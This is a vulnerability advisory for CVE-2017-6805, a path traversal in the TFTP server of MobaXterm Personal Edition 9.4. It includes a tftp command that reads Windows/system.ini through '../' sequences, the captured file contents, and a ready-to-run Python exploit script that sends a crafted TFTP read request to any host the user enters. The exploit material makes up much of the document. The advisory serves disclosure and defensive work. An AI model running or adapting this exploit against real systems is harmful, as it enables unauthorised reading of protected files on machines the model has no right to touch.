MobaXterm Personal Edition 9.4 Path Traversal

`[+] Credits: John Page AKA hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOBAXTERM-TFTP-PATH-TRAVERSAL-REMOTE-FILE-ACCESS.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
=====================  
mobaxterm.mobatek.net  
  
  
  
Product:  
===============================  
MobaXterm Personal Edition v9.4  
  
Enhanced terminal for Windows with X11 server, tabbed SSH client, network tools and much more.  
  
  
  
Vulnerability Type:  
=====================================  
Path Traversal Remote File Disclosure  
  
  
  
  
CVE Reference:  
==============  
CVE-2017-6805  
  
  
  
Security Issue:  
================  
Remote attackers can use UDP socket connection to TFTP server port 69 and send Read request, to retrieve otherwise protected files using  
directory traversal attacks e.g. ../../../../Windows/system.ini  
  
Start MobaXterm TFTP server which listens on default TFTP port 69.  
  
c:\>tftp -i 127.0.0.1 GET ../../../../Windows/system.ini  
Transfer successful: 219 bytes in 1 second(s), 219 bytes/s  
  
c:\xampp\htdocs>type system.ini  
; for 16-bit app support  
[386Enh]  
woafont=dosapp.fon  
EGA80WOA.FON=EGA80WOA.FON  
EGA40WOA.FON=EGA40WOA.FON  
CGA80WOA.FON=CGA80WOA.FON  
CGA40WOA.FON=CGA40WOA.FON  
  
[drivers]  
wave=mmdrv.dll  
timer=timer.drv  
  
[mci]  
  
Victim Data located on: 127.0.0.1  
  
  
  
POC URL:  
=============================  
https://vimeo.com/207516364  
  
  
  
  
Exploit:  
==========  
  
import sys,socket  
  
print 'MobaXterm TFTP Directory Traversal 0day Exploit'  
print 'Read Windows/system.ini'  
print 'hyp3rlinx \n'  
  
HOST = raw_input("[IP]>")  
FILE = 'Windows/system.ini'   
PORT = 69   
  
PAYLOAD = "\x00\x01" #TFTP Read   
PAYLOAD += "../" * 4 + FILE + "\x00" #Read system.ini using directory traversal  
PAYLOAD += "netascii\x00" #TFTP Type  
  
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
s.sendto(PAYLOAD, (HOST, PORT))  
out = s.recv(1024)  
s.close()  
  
print "Victim Data located on : %s " %(HOST)  
print out.strip()  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: No Reply  
March 10, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`